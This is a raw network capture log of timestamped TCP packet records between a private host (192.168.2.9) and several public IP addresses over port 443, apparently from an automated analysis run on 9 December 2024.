Dec 9, 2024 14:20:10.555928946 CET	49873	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.555929899 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.555948973 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.556031942 CET	49873	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.560338974 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.560396910 CET	49871	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.560416937 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.563677073 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.568702936 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.568752050 CET	49871	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.568763971 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.571671963 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.571712971 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.571778059 CET	49873	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.571791887 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.571870089 CET	49873	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.574836016 CET	443	49872	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:10.574870110 CET	443	49872	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:10.574934006 CET	49872	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:10.574935913 CET	443	49872	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:10.574969053 CET	443	49872	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:10.575016022 CET	49872	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:10.575026989 CET	49872	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:10.577100039 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.577188015 CET	49871	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.577194929 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.577208996 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.577264071 CET	49871	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.579729080 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.585660934 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.587949038 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.588036060 CET	49873	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.588069916 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.593902111 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.595747948 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.595839024 CET	49871	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.595858097 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.595860004 CET	49873	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.595892906 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.602178097 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.603764057 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.603853941 CET	49871	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.603867054 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.603868008 CET	49873	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.603888035 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.610748053 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.613029957 CET	49871	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.613043070 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.617505074 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.619611025 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.619693041 CET	49871	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.619712114 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.619709015 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.619750977 CET	49873	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.619784117 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.619862080 CET	49873	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.621887922 CET	443	49872	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:10.621936083 CET	443	49872	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:10.622006893 CET	49872	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:10.622024059 CET	443	49872	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:10.622035980 CET	49872	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:10.625031948 CET	49872	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:10.627334118 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.629947901 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.630213976 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.630279064 CET	49871	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.630290985 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.632471085 CET	49871	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.635047913 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.635159969 CET	49873	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.635174990 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.636414051 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.642638922 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.642725945 CET	49873	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.642736912 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.650537968 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.650605917 CET	49873	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.650620937 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.665246010 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.665580034 CET	49871	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.665611029 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.693742037 CET	49873	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.709547997 CET	49871	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.736491919 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.738830090 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.738898993 CET	49871	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.738929033 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.738943100 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.739007950 CET	49871	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.739219904 CET	49871	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.739237070 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.743561029 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.743654013 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.744226933 CET	49873	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.744381905 CET	49873	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.744400978 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.746105909 CET	443	49872	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:10.746129036 CET	443	49872	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:10.746196032 CET	49872	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:10.746206999 CET	443	49872	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:10.746258974 CET	49872	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:10.750435114 CET	443	49872	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:10.750482082 CET	49872	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:10.750489950 CET	443	49872	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:10.750504017 CET	443	49872	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:10.750531912 CET	49872	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:10.750579119 CET	49872	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:10.750741959 CET	49872	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:10.750749111 CET	443	49872	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:10.846395969 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:10.846421957 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:10.846431971 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:10.846463919 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:10.846478939 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:10.846491098 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:10.846532106 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:10.846561909 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:10.846574068 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:10.846625090 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.037173986 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.037192106 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.037269115 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.037292004 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.086468935 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.092180967 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.092195034 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.092247009 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.092252016 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.092262030 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.092288971 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.092298031 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.092312098 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.092331886 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.139156103 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.139169931 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.139204979 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.139245033 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.139265060 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.139282942 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.139322042 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.250874996 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.250900984 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.250977993 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.250999928 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.251756907 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.283190966 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.283216000 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.283262014 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.283283949 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.283304930 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.283324957 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.303215027 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.303284883 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.333512068 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.333539963 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.333600998 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.333621025 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.333635092 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.333651066 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.416920900 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.416948080 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.417054892 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.417078018 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.417603970 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.440401077 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.440426111 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.440507889 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.440534115 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.443250895 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.461121082 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.461138964 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.461199999 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.461220980 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.464075089 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.469703913 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.469765902 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.469779968 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.486016035 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.486035109 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.486129999 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.486150026 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.491743088 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.491813898 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.491828918 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.503518105 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.503531933 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.503575087 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.503592968 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.503609896 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.516339064 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.516365051 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.516448975 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.516465902 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.524725914 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.524796963 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.524815083 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.538846016 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.538861990 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.538964987 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.538986921 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.588493109 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.610753059 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.610764980 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.610913992 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.610934019 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.621937990 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.621956110 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.622057915 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.622077942 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.630681992 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.630702972 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.630775928 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.630796909 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.639981031 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.639996052 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.640074015 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.640091896 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.649154902 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.649169922 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.649249077 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.649267912 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.649281025 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.653433084 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.653510094 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.653525114 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.660382986 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.660404921 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.660466909 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.660481930 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.660494089 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.666462898 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.666479111 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.666543961 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.666558981 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.710448980 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.799802065 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.799818993 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.799863100 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.799918890 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.799942017 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.799973011 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.799990892 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.802470922 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.802541018 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.808094025 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.808111906 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.808171988 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.808188915 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.808707952 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.813972950 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.813988924 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.814048052 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.814062119 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.814522028 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.819106102 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.819123983 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.819206953 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.819221020 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.821003914 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.825325966 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.825342894 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.825422049 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.825434923 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.825894117 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.830481052 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.830498934 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.830554962 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.830575943 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.831075907 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.833705902 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.833792925 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.833806038 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.836504936 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.836575985 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.836589098 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.838813066 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.838876009 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.838890076 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.883404970 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.991861105 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.991894960 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.991986990 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.992008924 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.992050886 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.996946096 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.996970892 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.997033119 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:11.997047901 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:11.997086048 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:12.002815962 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:12.002837896 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:12.002903938 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:12.002918959 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:12.002954960 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:12.004466057 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:12.004539013 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:12.004544973 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:12.004585028 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:12.004743099 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:12.004759073 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:12.149450064 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:12.149492025 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:12.149542093 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:12.150077105 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:12.150089979 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:12.163749933 CET	49882	443	192.168.2.9	172.67.129.98
Dec 9, 2024 14:20:12.163804054 CET	443	49882	172.67.129.98	192.168.2.9
Dec 9, 2024 14:20:12.164263964 CET	49882	443	192.168.2.9	172.67.129.98
Dec 9, 2024 14:20:12.167685032 CET	49882	443	192.168.2.9	172.67.129.98
Dec 9, 2024 14:20:12.167707920 CET	443	49882	172.67.129.98	192.168.2.9
Dec 9, 2024 14:20:13.375175953 CET	443	49882	172.67.129.98	192.168.2.9
Dec 9, 2024 14:20:13.375457048 CET	49882	443	192.168.2.9	172.67.129.98
Dec 9, 2024 14:20:13.375473976 CET	443	49882	172.67.129.98	192.168.2.9
Dec 9, 2024 14:20:13.376360893 CET	443	49882	172.67.129.98	192.168.2.9
Dec 9, 2024 14:20:13.376458883 CET	49882	443	192.168.2.9	172.67.129.98
Dec 9, 2024 14:20:13.376983881 CET	49882	443	192.168.2.9	172.67.129.98
Dec 9, 2024 14:20:13.376983881 CET	49882	443	192.168.2.9	172.67.129.98
Dec 9, 2024 14:20:13.377034903 CET	49882	443	192.168.2.9	172.67.129.98
Dec 9, 2024 14:20:13.377055883 CET	443	49882	172.67.129.98	192.168.2.9
Dec 9, 2024 14:20:13.377233982 CET	443	49882	172.67.129.98	192.168.2.9
Dec 9, 2024 14:20:13.377285957 CET	49888	443	192.168.2.9	172.67.129.98
Dec 9, 2024 14:20:13.377326965 CET	443	49888	172.67.129.98	192.168.2.9
Dec 9, 2024 14:20:13.377331018 CET	49882	443	192.168.2.9	172.67.129.98
Dec 9, 2024 14:20:13.377331972 CET	49882	443	192.168.2.9	172.67.129.98
Dec 9, 2024 14:20:13.377391100 CET	49888	443	192.168.2.9	172.67.129.98
Dec 9, 2024 14:20:13.377640009 CET	49888	443	192.168.2.9	172.67.129.98
Dec 9, 2024 14:20:13.377655983 CET	443	49888	172.67.129.98	192.168.2.9
Dec 9, 2024 14:20:14.589935064 CET	443	49888	172.67.129.98	192.168.2.9
Dec 9, 2024 14:20:14.590322018 CET	49888	443	192.168.2.9	172.67.129.98
Dec 9, 2024 14:20:14.590363979 CET	443	49888	172.67.129.98	192.168.2.9
Dec 9, 2024 14:20:14.591365099 CET	443	49888	172.67.129.98	192.168.2.9
Dec 9, 2024 14:20:14.591453075 CET	49888	443	192.168.2.9	172.67.129.98
Dec 9, 2024 14:20:14.592662096 CET	49888	443	192.168.2.9	172.67.129.98
Dec 9, 2024 14:20:14.592732906 CET	443	49888	172.67.129.98	192.168.2.9
Dec 9, 2024 14:20:14.592885971 CET	49888	443	192.168.2.9	172.67.129.98
Dec 9, 2024 14:20:14.592895031 CET	443	49888	172.67.129.98	192.168.2.9
Dec 9, 2024 14:20:14.612267017 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:14.613245964 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:14.613282919 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:14.613682032 CET	443	49881	43.152.64.207	192.168.2.9
